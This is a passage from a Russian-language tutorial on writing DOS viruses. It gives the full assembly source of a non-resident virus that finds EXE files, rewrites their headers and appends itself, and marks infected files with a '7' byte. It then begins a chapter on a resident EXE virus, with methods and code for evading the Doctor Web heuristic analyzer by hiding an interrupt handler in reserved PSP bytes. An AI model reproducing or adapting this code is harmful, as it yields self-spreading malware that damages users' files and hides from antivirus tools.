  4007.     узнать, чему равна сумма : NS0 + 10h,  и прибавить
  4008.     к ней " my_cs " .Такая же ситуация возникает и при
  4009.     восстановлении  регистра SS,  только здесь к NS0 +
  4010.     + 10h нужно прибавить " my_ss " .Проще всего  вос-
  4011.     становить регистр DS, поскольку при загрузке EXE -
  4012.     файла соблюдается условие : ES = DS = NS0.Для ини-
  4013.     циализации SP и IP можно просто записать в них чи-
  4014.     сла,хранящиеся в переменных " my_sp " и " my_ip ",
  4015.     не производя при этом каких - либо сложных  расче-
  4016.     тов .С учетом этих соображений можно записать :
  4017.  
  4018.                mov ax,my_ip
  4019.                mov old_ip,ax
  4020.                mov ax,my_cs
  4021.                mov old_cs,ax
  4022.                mov ax,my_16h
  4023.                mov to_16h,ax
  4024.                mov ax,my_sp
  4025.                mov sp,ax              ;Инициализируем
  4026.                                       ;регистр SP ...
  4027.                mov ax,cs              ;Найдем
  4028.                sub ax,to_16h          ;NS0 + 10h ...
  4029.                add my_ss,ax           ;Вычислим SS ...
  4030.                mov ss,my_ss           ;
  4031.                add ax,old_cs          ;Вычислим CS ...
  4032.                mov old_cs,ax          ;
  4033.                mov ax,es              ;Инициализируем
  4034.                mov ds,ax              ;регистр DS ...
  4035.  
  4036.                jmp $ + 2              ;Сбросим очередь
  4037.                                       ;процессора
  4038.                db 0eah                ;И перейдем к
  4039.     old_ip     dw 0                   ;исполнению
  4040.     old_cs     dw 0                   ;программы ...
  4041.  
  4042.     Команда перехода к исполнению программы записана в
  4043.     виде машинного кода,чтобы при необходимости ее мо-
  4044.     жно было модифицировать .
  4045.     И  еще - вы ,  вероятно,  помните,  что  символами
  4046.     " NS0 " мы обозначили начальный сегмент программы.
  4047.  
  4048.  
  4049.                1.13 Область данных вируса
  4050.  
  4051.     Приведем данные, которыми оперирует уже почти соз-
  4052.     данный нами EXE - вирус :
  4053.  
  4054.                                       ;Собственная DTA
  4055.                                       ;вируса
  4056.                new_dta       db   128 dup (0)
  4057.  
  4058.                                       ;Маска для поис-
  4059.                                       ;ка файла - жер-
  4060.                                       ;твы
  4061.                maska         db   '*.exe',0
  4062.  
  4063.                                       ;Буфер для хра-
  4064.                                       ;нения имени
  4065.                                       ;найденного
  4066.                                       ;файла
  4067.                fn            db   12 dup (' '),0
  4068.  
  4069.                                       ;Массив для хра-
  4070.                                       ;нения заголовка
  4071.                header        db   27 dup ( 0 )
  4072.  
  4073.                descrypt      dw   0   ;Ячейка для дес-
  4074.                                       ;криптора
  4075.  
  4076.                to_02h        dw   0   ;Эти ячейки ис-
  4077.                to_04h        dw   0   ;пользуются для
  4078.                to_16h        dw   0   ;хранения пара-
  4079.                my_ip         dw   0   ;метров заголо-
  4080.                my_cs         dw   0   ;вка заражаемой
  4081.                my_16h        dw   0   ;программы и
  4082.                my_ss         dw   0   ;той, из которой
  4083.                my_sp         dw   0   ;стартовал
  4084.                old_ss        dw   0   ;вирус
  4085.                old_sp        dw   0   ;
  4086.                f_seek_low    dw   0   ;В эти перемен-
  4087.                f_seek_high   dw   0   ;нные записывае-
  4088.                                       ;тся значение
  4089.                                       ;указателя
  4090.  
  4091.                                       ;Вирусный стек
  4092.                new_stack     dw   50 dup ( 0 )
  4093.  
  4094.                last          db   0   ;Сюда помещается
  4095.                                       ;последний байт
  4096.                                       ;заражаемого
  4097.                                       ;файла
  4098.  
  4099.                              db   '7' ;Последний байт
  4100.                                       ;вирусного кода
  4101.  
  4102.  
  4103.                1.14 Используемые процедуры
  4104.  
  4105.     Осталось только привести тексты процедур, которыми
  4106.     пользуется вирус,  и работа  почти закончена . Они
  4107.     выглядят так :
  4108.  
  4109.     setpointer proc                   ;Процедура уста-
  4110.            mov ax,4200h           ;навливает  ука-
  4111.            mov bx,descrypt        ;затель  в файле
  4112.            int 21h                ;на заданный
  4113.                ret                    ;байт ...
  4114.     setpointer endp
  4115.  
  4116.     read       proc                   ;Процедура  чте-
  4117.                mov ah,3fh             ;ния из файла...
  4118.            mov bx,descrypt
  4119.            int 21h
  4120.                ret
  4121.     read       endp
  4122.  
  4123.     write      proc                   ;Процедура за-
  4124.                mov ah,40h             ;писи в файл ...
  4125.                mov bx,descrypt
  4126.                int 21h
  4127.                ret
  4128.     write      endp
  4129.  
  4130.     mover      proc                   ;Процедура умно-
  4131.                mov cx,04h             ;жения двойного
  4132.     left:      shl dx,1               ;слова CX : DX
  4133.                shl ax,1               ;на 16 методом
  4134.                adc dx,00h             ;сдвига ...
  4135.                loop left              ;
  4136.                ret                    ;
  4137.     mover      endp
  4138.  
  4139.     Приведенные процедуры очень просты  и довольно эф-
  4140.     фективны . Процедура " mover " ,  как уже  говори-
  4141.     лось,взята из книги П .Абеля " Язык ассемблера для
  4142.    IBM PC и  программирования ", естественно,без раз-
  4143.     решения автора .
  4144.  
  4145.  
  4146.                   1.15 Работа завершена
  4147.  
  4148.     Только что мы разработали вирусную программу,  за-
  4149.     ражающую EXE - файлы.Последний штрих - напишем не-
  4150.     сколько строк, почти стандартных для всех  ассемб-
  4151.     лерных программ :
  4152.  
  4153.                                       ;Длина вирусного
  4154.                                       ;кода в байтах
  4155.            vir_len       equ  $-vir
  4156.  
  4157.     prg ends
  4158.     end vir
  4159.  
  4160.  
  4161.       1.16 Полный текст нерезидентного EXE - вируса
  4162.  
  4163.     Для  лучшего  понимания  всего  изложенного в этой
  4164.     главе приведем  полный текст написанной нами  про-
  4165.     граммы :
  4166.  
  4167.     ; ________________________________________________
  4168.     ;|                                                |
  4169.     ;| Non - TSR EXE virus                            |
  4170.     ;| Especially for my readers !                    |
  4171.     ;|________________________________________________|
  4172.  
  4173.     prg segment
  4174.        assume cs:prg,ds:prg,es:prg,ss:prg
  4175.           org 100h
  4176.  
  4177.     vir:       mov ax,cs              ;AX = CS ...
  4178.                db 2dh                 ;SUB AX,00h
  4179.     sub_ds     dw 0                   ;
  4180.                mov ds,ax              ;
  4181.                mov ss,ax              ;
  4182.  
  4183.                mov ah,1ah             ;Переключим DTA
  4184.            lea dx,new_dta         ;на соответству-
  4185.                                       ;ющий массив в
  4186.                int 21h                ;области данных
  4187.                                       ;вируса ...
  4188.  
  4189.                mov ax,old_ip          ;Скопируем исхо-
  4190.                mov my_ip,ax           ;дные параметры
  4191.                mov ax,old_cs          ;заголовка зара-
  4192.                mov my_cs,ax           ;женной програм-
  4193.                mov ax,to_16h          ;мы в ячейки па-
  4194.                mov my_16h,ax          ;мяти " my_XX ",
  4195.                mov ax,old_ss          ;так как ячейки
  4196.                mov my_ss,ax           ;" old_XX ", в
  4197.                mov ax,old_sp          ;которых хранят-
  4198.                mov my_sp,ax           ;ся параметры,
  4199.                                       ;будут испорчены
  4200.                                       ;при заражении
  4201.                                       ;нового файла
  4202.  
  4203.     find_first:mov ah,4eh             ;Поиск первого
  4204.            mov cx,00100110b       ;файла :
  4205.            lea dx,maska           ;archive, system
  4206.            int 21h                ;hidden ...
  4207.            jnc r_3
  4208.            jmp restore_dta
  4209.  
  4210.     find_next: mov ah,3eh             ;Закроем  непод-
  4211.                mov bx,descrypt        ;ходящий файл
  4212.            int 21h
  4213.            jnc r_2
  4214.            jmp restore_dta
  4215.  
  4216.     r_2:       mov ah,4fh             ;Поиск следующе-
  4217.            int 21h                ;го ...
  4218.            jnc r_3
  4219.            jmp restore_dta
  4220.  
  4221.     r_3:       mov cx,12              ;Очистим об-
  4222.            lea si,fn              ;ласть " fn "
  4223.     kill_name: mov byte ptr [si],0
  4224.            inc si
  4225.            loop kill_name
  4226.  
  4227.                xor si,si              ;И перепишем
  4228.     copy_name: mov al,byte ptr new_dta[si + 01eh]
  4229.            cmp al,0               ;туда имя най-
  4230.            je open_file           ;денного файла
  4231.            mov byte ptr fn[si],al
  4232.            inc si
  4233.            jmp copy_name
  4234.  
  4235.     open_file: mov ax,3d02h           ;Откроем файл
  4236.            lea dx,fn              ;для чтения и
  4237.            int 21h                ;записи ...
  4238.            jnc found_size
  4239.            jmp r_2
  4240.  
  4241.     found_size:mov descrypt,ax        ;Определим раз-
  4242.                mov cx,word ptr [new_dta + 01ch]
  4243.                mov dx,word ptr [new_dta + 01ah]
  4244.                sub dx,1               ;мер файла и вы-
  4245.                sbb cx,0               ;чтем из него
  4246.                                       ;единицу  ...
  4247.                call setpointer        ;Установим ука-
  4248.                                       ;затель на пос-
  4249.                                       ;ледний символ
  4250.  
  4251.     read_last: mov cx,1               ;Прочитаем
  4252.                lea dx,last            ;последний
  4253.                call read              ;символ ...
  4254.            jnc compar
  4255.                jmp close_file
  4256.  
  4257.     compar:    cmp last,'7'           ;Это "семерка" ?
  4258.            jne mmm                ;Нет
  4259.     to_next:   jmp find_next          ;Да ! Файл уже
  4260.                                       ;заражен, и надо
  4261.                                       ;искать другой
  4262.  
  4263.     mmm:       xor cx,cx              ;Установим ука-
  4264.                xor dx,dx              ;затель на нача-
  4265.                call setpointer        ;ло файла ...
  4266.  
  4267.                mov ah,3fh             ;И считаем инте-
  4268.            mov bx,descrypt        ;ресующую нас
  4269.                mov cx,27              ;часть заголовка
  4270.                                       ;в массив " hea-
  4271.                                       ;der " .Она как
  4272.                lea dx,header          ;раз занимает 27
  4273.            int 21h                ;байт...
  4274.                jnc next_step          ;
  4275.                jmp restore_dta        ;Ошибка чтения !
  4276.  
  4277.     next_step: mov ax,word ptr header[14h]
  4278.                mov old_ip,ax
  4279.                mov ax,word ptr header[16h]
  4280.                mov old_cs,ax
  4281.                mov ax,word ptr header[0eh]
  4282.                mov old_ss,ax
  4283.                mov ax,word ptr header[10h]
  4284.                mov old_sp,ax
  4285.  
  4286.                mov ax,word ptr header[04h]
  4287.                mov cl,5
  4288.                shl ax,cl
  4289.                cmp ax,0f000h
  4290.                jna good_size
  4291.                jmp find_next
  4292.     good_size: mov bp,ax
  4293.                sub ax,word ptr header[08h]
  4294.                mov to_16h,ax          ;Это число запи-
  4295.                                       ;шется в Header
  4296.                                       ;[16h]
  4297.                mov ax,bp
  4298.                xor dx,dx
  4299.                call mover
  4300.                mov f_seek_low,ax
  4301.                mov f_seek_high,dx
  4302.                cmp dx,word ptr [new_dta + 01ch]
  4303.                jl to_next
  4304.                ja infect
  4305.                cmp ax,word ptr [new_dta + 01ah]
  4306.                jl to_next
  4307.     infect:    add ax,vir_len
  4308.                adc dx,0
  4309.                mov bx,512
  4310.                div bx
  4311.                cmp dx,0
  4312.                je round
  4313.                inc ax
  4314.     round:     mov to_04h,ax          ;Это число запи-
  4315.                                       ;шется в Header
  4316.                                       ;[04h]
  4317.  
  4318.                mov to_02h,dx
  4319.                mov word ptr header[02h],dx
  4320.                mov ax,to_04h
  4321.                mov word ptr header[04h],ax
  4322.                mov word ptr header[14h],0
  4323.                mov ax,to_16h
  4324.                mov word ptr header[16h],ax
  4325.                mov word ptr header[0eh],ax
  4326.      mov word ptr header[10h],offset ds:new_stack + 96
  4327.                mov sub_ds,10h
  4328.  
  4329.                xor dx,dx              ;Устанавливаем
  4330.                xor cx,cx              ;указатель на
  4331.                call setpointer        ;начало файла
  4332.                jc close_file          ;
  4333.  
  4334.                lea dx,header          ;И записываем
  4335.                mov cx,27              ;измененный за-
  4336.                call write             ;головок на диск
  4337.                jc close_file
  4338.  
  4339.                mov dx,f_seek_low      ;Устанавливаем
  4340.                mov cx,f_seek_high     ;указатель на
  4341.                call setpointer        ;определенное
  4342.                                       ;ранее место в
  4343.                                       ;файле
  4344.                jc close_file
  4345.  
  4346.                lea dx,vir             ;И записываем на
  4347.                mov cx,vir_len         ;диск вирусный
  4348.                call write             ;код
  4349.  
  4350.     close_file:xor ax,ax              ;Закроем зара-
  4351.                mov ah,3eh             ;женный файл
  4352.                mov bx,descrypt        ;
  4353.                int 21h                ;
  4354.  
  4355.     restore_dta:
  4356.                push ds                ;DS -> в стек
  4357.                mov ah,1ah             ;Восстановим
  4358.                mov dx,080h            ;адрес DTA зара-
  4359.                mov bp,es              ;женной програм-
  4360.                mov ds,bp              ;мы с помощью
  4361.                int 21h                ;функции DOS 1Ah
  4362.                pop ds                 ;DS <- из стека
  4363.  
  4364.                mov ax,my_ip
  4365.                mov old_ip,ax
  4366.                mov ax,my_cs
  4367.                mov old_cs,ax
  4368.                mov ax,my_16h
  4369.                mov to_16h,ax
  4370.                mov ax,my_sp
  4371.                mov sp,ax              ;Инициализируем
  4372.                                       ;регистр SP ...
  4373.                mov ax,cs              ;Найдем
  4374.                sub ax,to_16h          ;NS0 + 10h ...
  4375.                add my_ss,ax           ;Вычислим SS ...
  4376.                mov ss,my_ss           ;
  4377.                add ax,old_cs          ;Вычислим CS ...
  4378.                mov old_cs,ax          ;
  4379.                mov ax,es              ;Инициализируем
  4380.                mov ds,ax              ;регистр DS ...
  4381.  
  4382.                jmp $ + 2              ;Сбросим очередь
  4383.                                       ;процессора
  4384.                db 0eah                ;И перейдем к
  4385.     old_ip     dw 0                   ;исполнению
  4386.     old_cs     dw 0                   ;программы ...
  4387.  
  4388.     ;Procedure area ...
  4389.     ;*************************************************
  4390.  
  4391.     setpointer proc                   ;Процедура уста-
  4392.            mov ax,4200h           ;навливает  ука-
  4393.            mov bx,descrypt        ;затель  в файле
  4394.            int 21h                ;на заданный
  4395.                ret                    ;байт ...
  4396.     setpointer endp
  4397.  
  4398.     read       proc                   ;Процедура  чте-
  4399.                mov ah,3fh             ;ния из файла...
  4400.            mov bx,descrypt
  4401.            int 21h
  4402.                ret
  4403.     read       endp
  4404.  
  4405.     write      proc                   ;Процедура за-
  4406.                mov ah,40h             ;писи в файл ...
  4407.                mov bx,descrypt
  4408.                int 21h
  4409.                ret
  4410.     write      endp
  4411.  
  4412.     mover      proc                   ;Процедура умно-
  4413.                mov cx,04h             ;жения двойного
  4414.     left:      shl dx,1               ;слова CX : DX
  4415.                shl ax,1               ;на 16 методом
  4416.                adc dx,00h             ;сдвига ...
  4417.                loop left              ;
  4418.                ret                    ;
  4419.     mover      endp
  4420.  
  4421.     ;Data area ...
  4422.     ;*************************************************
  4423.  
  4424.                                       ;Собственная DTA
  4425.                                       ;вируса
  4426.                new_dta       db   128 dup (0)
  4427.  
  4428.                                       ;Маска для поис-
  4429.                                       ;ка файла - жер-
  4430.                                       ;твы
  4431.                maska         db   '*.exe',0
  4432.  
  4433.                                       ;Буфер для хра-
  4434.                                       ;нения имени
  4435.                                       ;найденного
  4436.                                       ;файла
  4437.                fn            db   12 dup (' '),0
  4438.  
  4439.                                       ;Массив для хра-
  4440.                                       ;нения заголовка
  4441.                header        db   27 dup ( 0 )
  4442.  
  4443.                descrypt      dw   0   ;Ячейка для дес-
  4444.                                       ;криптора
  4445.  
  4446.                to_02h        dw   0   ;Эти ячейки ис-
  4447.                to_04h        dw   0   ;пользуются для
  4448.                to_16h        dw   0   ;хранения пара-
  4449.                my_ip         dw   0   ;метров заголо-
  4450.                my_cs         dw   0   ;вка заражаемой
  4451.                my_16h        dw   0   ;программы и
  4452.                my_ss         dw   0   ;той, из которой
  4453.                my_sp         dw   0   ;стартовал
  4454.                old_ss        dw   0   ;вирус
  4455.                old_sp        dw   0   ;
  4456.  
  4457.                f_seek_low    dw   0   ;В эти перемен-
  4458.                f_seek_high   dw   0   ;нные записывае-
  4459.                                       ;тся значение
  4460.                                       ;указателя
  4461.  
  4462.                                       ;Вирусный стек
  4463.                new_stack     dw   50 dup ( 0 )
  4464.  
  4465.                last          db   0   ;Сюда помещается
  4466.                                       ;последний байт
  4467.                                       ;заражаемого
  4468.                                       ;файла
  4469.  
  4470.                              db   '7' ;Последний байт
  4471.                                       ;вирусного кода
  4472.  
  4473.                                       ;Длина вирусного
  4474.                                       ;кода в байтах
  4475.            vir_len       equ  $-vir
  4476.  
  4477.     prg ends
  4478.     end vir
  4479.  
  4480.  
  4481.          1.17 Несколько слов об испытании вируса
  4482.  
  4483.     В принципе,процесс испытания созданного вируса ни-
  4484.     чем не отличается от ранее рассмотренного .Обращаю
  4485.     внимание читателей только на одну деталь :
  4486.     Отладчик AFD_RUS .COM корректно работает только  с
  4487.     неупакованными EXE - файлами.Если вы попытаетесь с
  4488.     его помощью отладить EXE - программу,  упакованную
  4489.     какой - либо утилитой сжатия ( например, DIET, LZ_
  4490.     EXE или PKLITE ), то из этого ничего не получится.
  4491.     Конечно, программа не испортится,но результаты ра-
  4492.     боты отладчика будут неверными .Для отладки упако-
  4493.     ванных программ можно воспользоваться TURBO DEBUG-
  4494.     GER фирмы BORLAND INTERNATIONAL, но еще лучше рас-
  4495.     паковать такую программу и применить отладчик  по-
  4496.     проще.
  4497.  
  4498.     *
  4499.      Если в программе есть команды,изменяющие SS и SP,
  4500.      то при " прохождении  " ее AFD_RUS.COM результаты
  4501.      работы отладчика  могут быть совершенно неожидан-
  4502.      ными. Это происходит потому, что указанный отлад-
  4503.      чик использует стек исследуемой им программы.
  4504.     **
  4505.      Все только что отмеченные недостатки AFD_шки ни в
  4506.      коей мере не дают сделать вывод,что этот отладчик
  4507.      плохой. Hаоборот,он во многих отношениях значите-
  4508.      льно превосходит даже  TURBO DEBUGGER. Возможнос-
  4509.      тей AFD_RUS вполне достаточно при отладке пример-
  4510.      но 95 % программ.
  4511.  
  4512.  
  4513.              ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
  4514.                        EXE - ВИРУСА
  4515.  
  4516.              2.1 Алгоритм работы резидентного
  4517.                         EXE - вируса
  4518.  
  4519.     Для начала рассмотрим алгоритм работы резидентного
  4520.     вируса, заражающего EXE - файлы .Он очень похож на
  4521.     соответствующий алгоритм для COM - вируса, поэтому
  4522.     подробно рассматриваться не будет :
  4523.  
  4524.     Секция инициализации выполняет следующие действия:
  4525.  
  4526.     1. Получает управление при запуске зараженной про-
  4527.     граммы .
  4528.  
  4529.     2. Проверяет, установлена ли в память  резидентная
  4530.     часть вируса .
  4531.  
  4532.     3. Если резидентная часть не установлена,выполняю-
  4533.     тся следующие действия :
  4534.  
  4535.        a.) Отыскивается свободный блок памяти достато-
  4536.            чного для размещения вируса размера .
  4537.  
  4538.        б.) Код вируса копируется в найденный блок  па-
  4539.            мяти .
  4540.  
  4541.        в.) В таблице  векторов прерываний соответству-
  4542.            ющие вектора заменяются точками входа в ви-
  4543.            русные обработчики .
  4544.  
  4545.        г.) Определяются значения CS, IP, SS и SP,необ-
  4546.            ходимые  для  правильной работы программы ,
  4547.            из которой стартовал вирус .
  4548.  
  4549.        д.) Управление передается зараженной программе.
  4550.            Для этого вирус использует команду безусло-
  4551.            вного дальнего перехода или возврата из да-
  4552.            льней процедуры.Адрес перехода задается вы-
  4553.            численными CS и IP. После этого  начинается
  4554.            обычное выполнение программы .
  4555.  
  4556.     В том случае,  если резидентная часть  вируса  уже
  4557.     находится в памяти,  он просто выполняет  действия
  4558.     перечисленные в п.п.  " Г " и " Д " .
  4559.  
  4560.     Резидентная часть работает по такому " сценарию ":
  4561.  
  4562.     1. Анализирует  все вызовы  системного  прерывания
  4563.     INT 21h с целью выявить переход оператора в  новый
  4564.     каталог или смену текущего диска .
  4565.  
  4566.     2. Если обнаружится смена текущего диска или ката-
  4567.     лога, резидентная часть должна :
  4568.  
  4569.        а.) Сохранить исходное состояние вычислительной
  4570.            системы .
  4571.  
  4572.        б.) Найти на диске подходящий EXE - файл .
  4573.  
  4574.        в.) Записать вирусный код в конец этого файла .
  4575.  
  4576.        г.) Скорректировать заголовок файла ( см. п.1.4
  4577.            гл. 1 ч. 2 ) .
  4578.  
  4579.        д.) Восстановить исходное состояние  вычислите-
  4580.            льной системы и передать ей управление .
  4581.  
  4582.     Как  и в случае с COM - вирусом,  заражение файлов
  4583.     выполняет только резидентная часть .Вредные дейст-
  4584.     вия можно " возложить " как на резидентную,  так и
  4585.     на транзитную часть ( на транзитную - проще,  а на
  4586.     резидентную - обычно сложнее . ) .
  4587.  
  4588.  
  4589.           2.2 Защита от программ - антивирусов
  4590.  
  4591.     Честно говоря, эта глава просто является обобщени-
  4592.     ем всех предыдущих . Поэтому все основное уже рас-
  4593.     сказано .Но есть несколько весьма интересных и за-
  4594.     служивающих вашего внимания вопросов,о которых по-
  4595.     чти не упоминается в литературе .Речь идет о  пос-
  4596.     троении вирусов,  " невидимых "  для  антивирусных
  4597.     программ.В самом деле,один - единственный  "обыск"
  4598.     с помощью программы DOCTOR WEB на диске или в  па-
  4599.     мяти может свести все наши усилия к нулю . Поэтому
  4600.     самое время поговорить о способах скрытия  вирусом
  4601.     своего наличия в вычислительной системе .
  4602.     Технику  защиты вирусной программы от  обнаружения
  4603.     мы рассмотрим на примере всем известного антивиру-
  4604.     са DOCTOR WEB.Именно эта программа является наибо-
  4605.     лее удачной и используемой.
  4606.     Как вы знаете, для обнаружения неизвестных вирусов
  4607.     DOCTOR WEB использует так называемый эвристический
  4608.     анализатор, моделирующий действия человека, желаю-
  4609.     щего обнаружить новый вирус.
  4610.     Все изложенное  ниже базируется на следующем пред-
  4611.     положении :эвристический  анализатор, по существу,
  4612.     представляет собой комбинацию пошагового отладчика
  4613.     и программы, анализирующей результаты его работы .
  4614.     Перейдем  к делу . Если вы  " заразите " ваш  ком-
  4615.     пьютер написанным ранее резидентным COM - вирусом,
  4616.     а потом запустите DOCTOR WEB ( режим  тестирования
  4617.     памяти должен быть включен ), то вирус будет обна-
  4618.     ружен как неизвестный резидентный .Кроме того, ан-
  4619.     тивирусная программа определит адрес в памяти,  по
  4620.     которому находится вирусный код . Если вы просмот-
  4621.     рите содержимое памяти по этому адресу,то увидите,
  4622.     что DOCTOR WEB " ошибся ".А именно - по указанному
  4623.     адресу расположен собственно не сам вирус,а только
  4624.     его обработчик прерывания INT 21h.На остальные ви-
  4625.     русные обработчики антивирус не обратил внимания .
  4626.     Исходя из этого можно сделать такие выводы :
  4627.  
  4628.     1.) Эвристический  анализатор определяет, на какой
  4629.         адрес  указывает  вектор прерывания  INT 21h в
  4630.         таблице векторов .
  4631.  
  4632.     2.) Далее вступают в действие следующие  соображе-
  4633.         ния : Обработчик прерывания INT 21h почти  ни-
  4634.         когда не может находиться в самых младших (на-
  4635.         пример,в области данных BIOS) или в самых ста-
  4636.         рших (например, в последнем сегменте)  адресах
  4637.         основной памяти .Поэтому при обнаружении такой
  4638.         ситуации эвристический анализатор считает, что
  4639.         система заражена неизвестным вирусом,и в каче-
  4640.         стве адреса,  по которому расположен его код ,
  4641.         выдает адрес обработчика INT 21h .
  4642.  
  4643.     Как видим, все не так уже и сложно.Далее пользова-
  4644.     тель должен решать сам,действительно ли вирус при-
  4645.     сутствует в его компьютере. Отметим, что для реше-
  4646.     ния  этого вопроса  нужно  иметь довольно  высокую
  4647.     квалификацию, поэтому для подавляющего большинства
  4648.     пользователей задача представляется неразрешимой.
  4649.  
  4650.  
  4651.               2.3 Как реализовать защиту от
  4652.                  эвристического анализа
  4653.  
  4654.     Очевидно, вирус не будет найден в памяти,если раз-
  4655.     местить обработчик INT 21h в той ее части, в кото-
  4656.     рую загружаются пользовательские программы .С дру-
  4657.     гой стороны, наш вирус помещает  свой код в  самые
  4658.     старшие адреса основной памяти . Единственным  вы-
  4659.     ходом из положения было бы написание обработчика ,
  4660.     состоящего из двух частей. При этом "первая" часть
  4661.     должна загружаться в область памяти,выделенную для
  4662.     загрузки прикладных программ,а "вторую" - вместе с
  4663.     остальной частью вируса - следует записать в стар-
  4664.     шие адреса основной памяти .В случае возникновения
  4665.     прерывания INT 21h управление  будет  передаваться
  4666.     первой части, которая затем передаст его второй.
  4667.     К сожалению, данный метод себя не оправдывает.DOC-
  4668.     TOR WEB  в процессе эвристического анализа  просто
  4669.     трассирует обработчик INT 21h до входа в его исхо-
  4670.     дный ( системный )  код,  одновременно контролируя
  4671.     адрес обработчика, и при получении любых  подозри-
  4672.     тельных результатов выдает сообщение о наличии не-
  4673.     известного вируса .Поэтому необходимо сделать так,
  4674.     чтобы при трассировании "первой" части под  управ-
  4675.     лением отладчика вызывался системный обработчик, а
  4676.     при "нормальном" трассировании - вирусный ( экспе-
  4677.     рименты показывают,что DOCTOR WEB,вероятнее всего,
  4678.     содержит встроенный отладчик) .Для реализации ука-
  4679.     занного метода можно использовать особенность мик-
  4680.     ропроцессора, состоящую в наличии очереди команд .
  4681.     Однако этот путь по  существу является  тупиковым,
  4682.     так как вирус, реализующий такой алгоритм,не будет
  4683.     работать  на процессорах  PENTIUM из-за наличия  в
  4684.     последних так  называемой системы  прогнозирования
  4685.     переходов. Мы же поступим по другому.Как вы знаете
  4686.     все отладчики интенсивно используют прерывание 01h
  4687.     ( One Step ),обработчик которого останавливает ра-
  4688.     боту  микропроцессора  после выполнения каждой ко-
  4689.     манды. Поэтому  естественно  предположить, что для
  4690.     проведения эвристического анализа DOCTOR WEB уста-
  4691.     навливает собственный обработчик Int 01h,а значит,
  4692.     заменяет  адрес  системного обработчика в  таблице
  4693.     векторов прерываний.На факт замены этого адреса мы
  4694.     и будем  ориентироваться. Экспериментальным  путем
  4695.     было установлено, что системный обработчик Int 01h
  4696.     находится  в памяти по  такому адресу : 0070:XXXX.
  4697.     Следовательно, достаточно проверить сегментный ад-
  4698.     рес обработчика Int 01h, чтобы сказать, перехваче-
  4699.     но-ли это прерывание  какой-нибудь прикладной про-
  4700.     граммой.
  4701.     Следующая проблема,возникающая при построении про-
  4702.     граммы обработки прерывания из двух частей, состо-
  4703.     ит вот в чем: непонятно, куда именно следует поме-
  4704.     стить " первую " часть,чтобы она не затиралась при
  4705.     загрузке программ  и их работе, и не была бы видна
  4706.     с помощью, например, VC.COM или RELEASE.
  4707.     Многочисленными экспериментами  было установлено ,
  4708.     что для размещения участка обработчика прерывания,
  4709.     ответственного за " обман " эвристического  анали-
  4710.     затора, можно использовать байты с 38h по 5Ch,при-
  4711.     надлежащие PSP первой загруженной в память програ-
  4712.     ммы .Эти байты зарезервированы разработчиками опе-
  4713.     рационной системы, вероятно,для будущих ее версий,
  4714.     и их значения остаются постоянными в течение всего
  4715.     сеанса работы компьютера .Кроме того, зарезервиро-
  4716.     ванного пространства в PSP вполне хватит для  раз-
  4717.     мещения программы обработки прерывания .
  4718.     Итак, можно предложить следующий алгоритм :
  4719.  
  4720.     1.) Отыскивается PSP  первой загруженной в  память
  4721.         программы .
  4722.  
  4723.     2.) В байты 38h - 5Ch записывается код  " промежу-
  4724.        точного " обработчика прерывания INT 21h .Этот
  4725.         код  должен вызывать  системный обработчик при
  4726.         работе под управлением отладчика и  вирусный в
  4727.         противном случае .
  4728.  
  4729.     *   На самом деле можно использовать и другие  об-
  4730.         ласти PSP, расположенные после байта со смеще-
  4731.         нием 5Ch ( примерно 32 байта - без всяких пос-
  4732.         ледствий. ).
  4733.  
  4734.     3.) В таблице  векторов прерываний  вектор INT 21h
  4735.         заменяется на точку входа в промежуточный  об-
  4736.         работчик .
  4737.  
  4738.     Вот, собственно, и все .
  4739.  
  4740.  
  4741.            2.4 Реализуем предложенный алгоритм
  4742.  
  4743.     Как мы договорились,сначала следует найти PSP пер-
  4744.     вой загруженной в память программы .Это можно сде-
  4745.     лать следующим образом :
  4746.  
  4747.     find_psp:  push es                ;Найдем первый
  4748.                xor di,di              ;PSP в памяти
  4749.                xor ax,ax
  4750.  
  4751.     to_new_seg:inc ax
  4752.                mov es,ax
  4753.                cmp ax,0ffffh          ;Этот сегмент -
  4754.                jae free_mem           ;последний ?
  4755.            cmp byte ptr es:[di],4dh
  4756.                                       ;Это - MCB -
  4757.                                       ;блок ?
  4758.            jne to_new_seg         ;Нет !
  4759.     to_test:   mov bx,ax              ;Да !
  4760.                add bx,es:[di+3]
  4761.                inc bx
  4762.                mov es,bx
  4763.                cmp byte ptr es:[di],4dh
  4764.                                       ;Следующий MCB
  4765.                                       ;корректен ?
  4766.                je  restore_es         ;Да !
  4767.                cmp byte ptr es:[di],5ah
  4768.                jne to_new_seg         ;Нет !
  4769.     restore_es:mov es,ax
  4770.             cmp word ptr es:[di+1],0  ;MCB свободен ?
  4771.                je to_new_seg          ;Да !
  4772.                mov bx,es
  4773.                inc bx
  4774.                cmp es:[di+1],bx
  4775.                jne to_new_seg
  4776.        cmp byte ptr es:[di+10h],0cdh  ;После MCB сле-
  4777.                                       ;дует PSP ?
  4778.                jne to_new_seg         ;Нет - тогда он
  4779.                                       ;нас не интере-
  4780.                                       ;сует ...
  4781.                mov first_psp,es       ;Да - найдена
  4782.                mov cx,es              ;нужная нам
  4783.                dec es_save            ;область памяти
  4784.                cmp es_save,cx         ;А может, мы на-
  4785.                                       ;шли свой же
  4786.                                       ;PSP ?
  4787.                jne add_05h            ;Нет !
  4788.                pop es
  4789.                jmp fresh_input        ;Да !
  4790.     add_05h:   add first_psp,05h
  4791.  
  4792.     Напомним, что  PSP  располагается в  памяти  сразу
  4793.     вслед за MCB - блоком,выделенным операционной сис-
  4794.     темой для загрузки программы, а первым байтом  PSP
  4795.     должно быть число 0CDh, что и используется в  при-
  4796.     веденном фрагменте .
  4797.     Дополнительно следует рассмотреть следующую ситуа-
  4798.     цию : обычно первым  PSP в памяти является PSP ко-
  4799.     мандного процессора COMMAND.COM . Но при некоторых
  4800.     конфигурациях операционой системы  (например,  при
  4801.     использовании WINDOWS 95 в режиме эмуляции MS DOS)
  4802.     это правило иногда не соблюдается .Может случиться
  4803.     так, что первой в файле  AUTOEXEC.BAT для загрузки
  4804.     указана нерезидентная EXE - программа,  зараженная
  4805.     нашим вирусом.При старте этой программы вирус фак-
  4806.     тически отыщет ее же PSP и запишет туда текст про-
  4807.     межуточного обработчика  INT 21h . Далее программа
  4808.     нерезидентно завершится, после чего занимаемая  ею
  4809.     память будет использована другими программами, по-
  4810.     этому наш  промежуточный обработчик будет затерт ,
  4811.     и компьютер обязательно повиснет . Чтобы этого  не
  4812.     произошло, вирус проверяет,  какой именно PSP  был
  4813.     найден первым,  и  если имела место описанная выше
